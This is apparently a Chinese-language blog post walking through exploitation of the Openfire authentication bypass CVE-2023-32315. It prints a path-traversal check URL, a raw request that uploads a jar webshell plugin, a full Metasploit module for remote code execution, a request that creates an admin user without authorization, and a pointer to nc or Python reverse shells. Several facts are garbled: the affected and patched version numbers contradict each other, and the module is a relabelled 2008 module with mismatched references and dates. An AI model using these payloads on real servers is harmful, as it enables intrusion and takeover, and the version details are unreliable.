本文主要针对漏洞,进行未授权文件上传、用户创建、上线MSF等多角度测试。
前言:
其实在漏洞在发布之处,就已经复现出来了,一直在忙一些事情,现在网上已经有相应漏洞的利用了,但没有针对上线MSF之类的,就想做一些分享。
影响版本:
影响自 2015 年 3 月以来发布的所有 Openfire版本(从版本 10.0.4 开始)。该问题已在 Openfire 版本 7.5.4 和 6.8.4 中得到修补
复现过程:
首先在未登录过管理控制台测试
验证POC
http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
如果这显示了 openfire 日志文件的一部分,则 Openfire 实例会受到此漏洞的影响。请注意,不同版本的 Openfire 将显示不同的布局。较新版本的 Openfire 可能会在深色背景上显示日志文件,而旧版本将显示大部分白色页面。(根据日志文件的内容,除了标题之外,此页面可能是空的!
如果重定向到登录页面,则实例可能不受影响。
文件上传
准备好上传的jar马,git上有大佬分享的
http://x.x.x.x:29416/setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp?uploadplugin
post包如下:
POST /setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp?uploadplugin HTTP/1.1
Host: xxxx:27087
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------170232977211576772113128572782
Content-Length: 17074
Origin: http://x.x.x.x:27087
Connection: close
Referer: http://x.x.x.x:27087/plugin-admin.jsp
Cookie: JSESSIONID=1lzihf7g5x921okn9v61a4c7a
Upgrade-Insecure-Requests: 1
-----------------------------170232977211576772113128572782
Content-Disposition: form-data; name="uploadfile"; filename="jcore.jar"
Content-Type: application/octet-stream
-----------------------------170232977211576772113128572782--
测试是否上传成功,ping dns
linux版本可以考虑nc反弹shell,python反弹等等。
MSF上线测试---
第一步增加msfpayload
cve-2023-32315.rb
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex/zip'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /(Jetty)/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Openfire Admin Console Authentication Bypass',
'Description' => %q{
This module exploits an authentication bypass vulnerability in the administration
console of Openfire servers. By using this vulnerability it is possible to
upload/execute a malicious Openfire plugin on the server and execute arbitrary Java
code. This module has been tested against Openfire 3.6.0a.
It is possible to remove the uploaded plugin after execution, however this might turn
the server in some kind of unstable state, making re-exploitation difficult. You might
want to do this manually.
},
'Author' =>
[
'Andreas Kurtz', # Vulnerability discovery
'h0ng10' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2023-32315' ],
[ 'OSVDB', '49663' ],
[ 'BID', '32189' ],
[ 'EDB', '7075' ],
[ 'URL', 'http://community.igniterealtime.org/thread/35874' ]
],
'DisclosureDate' => 'Nov 6 2023',
'Privileged' => true,
'Platform' => ['java', 'win', 'linux' ],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
#
# Java version
#
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
],
#
# Platform specific targets
#
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
]
],
'DefaultTarget' => 0,
))
register_options(
[
Opt::RPORT(9090),
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)' ]),
OptString.new('PLUGINAUTHOR',[ false, 'Openfire plugin author, (default: random)' ]),
OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)' ]),
OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]),
], self.class)
end
def check
base = target_uri.path
base << '/' if base[-1, 1] != '/'
path = "#{base}login.jsp"
res = send_request_cgi(
{
'uri' => path
})
if (not res) or (res.code != 200)
print_error("Unable to make a request to: #{path}")
return Exploit::CheckCode::Unknown
end
versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/
if versioncheck.nil? then
print_error("Unable to detect Openfire version")
return Exploit::CheckCode::Unknown
end
print_status("Detected version: #{$1}.#{$2}.#{$3}")
version = "#{$1}#{$2}#{$3}".to_i
return Exploit::CheckCode::Safe if version > 360
# Just to be sure, try to access the log page
path = "#{base}setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp"
res = send_request_cgi(
{
'uri' => path
})
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Vulnerable
end
def get_plugin_jar(plugin_name)
files = [
[ "logo_large.gif" ],
[ "logo_small.gif" ],
[ "readme.html" ],
[ "changelog.html" ],
[ "lib", "plugin-metasploit.jar" ]
]
jar = Rex::Zip::Jar.new
jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2023-32315"))
plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8))
plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(8+rand(8))
plugin_xml = File.open(File.join(Msf::Config.install_root, "data", "exploits", "CVE-2008-6508", "plugin.xml"), "rb") {|fd| fd.read() }
plugin_xml.gsub!(/PLUGINNAME/, plugin_name)
plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)
plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)
jar.add_file("plugin.xml", plugin_xml)
jar
end
def exploit
base = target_uri.path
base << '/' if base[-1, 1] != '/'
plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(8+rand(8))
plugin = get_plugin_jar(plugin_name)
arch = target.arch
plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]]
if (p = exploit_regenerate_payload(plat, arch)) == nil
print_error("Failed to regenerate payload")
return
end
plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)
plugin.build_manifest
# Upload the plugin to the server
print_status("Uploading plugin #{plugin_name} to the server")
boundary = rand_text_alphanumeric(6)
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"uploadfile\"; "
data << "filename=\"#{plugin_name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
data << plugin.pack
data << "\r\n--#{boundary}--"
res = send_request_cgi({
'uri' => "#{base}setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp?uploadplugin",
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Content-Length' => data.length,
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
}
})
print_error("Warning: got no response from the upload, continuing...") if !res
# Delete the uploaded JAR file
if datastore['REMOVE_PLUGIN']
print_status("Deleting plugin #{plugin_name} from the server")
res = send_request_cgi({
'uri' => "#{base}setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp?deleteplugin=#{plugin_name.downcase}",
'headers' =>
{
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
}
})
if not res
print_error("Error deleting the plugin #{plugin_name}. You might want to do this manually.")
end
end
end
end
MSF 装载
并把cve-2008-6508资源复制一份,改为cve-2023-32315
这里主要是为了上传文件。
msf设置监听,运行
未授权创建用户
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?username=test1&name=&email=&password=123456&passwordConfirm=123456&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7 HTTP/1.1
Host: 192.168.204.134:19091
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.204.134:19091/user-create.jsp
Cookie: JSESSIONID=idaxmuwrihsshs60esgsfrm2
Upgrade-Insecure-Requests: 1
高版本增加jsession和CSRFtoken
获取返回的JSESSIONID和csrftoken ,构造请求包新增用户(替换JSESSIONID、csrftoken)
总结
大体上利用思路这些吧,根据openfire版本可能会有一些差别,但总体思路一样的。大家对openfire进行复现的时候,最好确认版本,避免踩坑。